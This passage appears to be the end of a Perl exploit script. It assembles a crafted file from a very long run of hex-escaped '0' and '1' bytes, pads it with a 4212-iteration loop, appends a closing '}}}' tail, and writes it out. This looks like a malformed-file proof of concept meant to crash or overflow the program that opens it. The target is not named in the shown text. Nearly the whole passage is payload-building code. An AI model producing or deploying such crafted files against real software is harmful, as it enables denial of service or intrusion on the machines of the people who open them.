"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30". "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31"; for($i=1;$i<=4212;$i++){ $buffer="$buffer\\x30"; # 4212 X "0" } $buffer=$buffer."\x31\x31\x31\x31\x31\x31\x31\x31\x0a\x7d\x7d\x7d"; # EOF = }}} print FILE $buffer; close FILE;